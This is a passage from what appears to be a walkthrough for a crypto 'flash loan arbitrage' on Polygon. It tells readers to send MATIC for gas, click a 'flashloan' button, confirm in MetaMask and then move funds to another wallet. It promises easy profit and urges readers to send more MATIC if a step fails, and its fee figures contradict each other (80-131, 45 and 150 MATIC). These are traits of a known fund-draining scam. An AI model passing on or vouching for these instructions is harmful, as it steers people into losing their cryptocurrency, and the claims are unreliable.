➡️UPDATED GAS FEE REQUIREMENT: APPROX 80 MATIC - 131 MATIC is required to perform arbitrage successfully depending on gwei.
➡️Some of the time, you need to change Gas(estimated).
👉Just Click 🌐Site Suggested. (Low, Market, Aggressive)

19. Wait for the transaction to confirm.
20. Now, Click "flashloan" (red box) to execute the Flash Loan.
21. Confirm the transaction in MetaMask and wait for the confirmation.
22. You can now check your wallet

Note: if it doesn't work with 45 MATIC try to send another 45 MATIC (150 MATIC is better), because fees may be different from day to day. (45 MATIC for each 5000 MATIC you are borrowing)

Avoid using very low amounts as contract may fail below 45 MATIC.

Make sure to transfer your Funds out to another wallet when you're done.
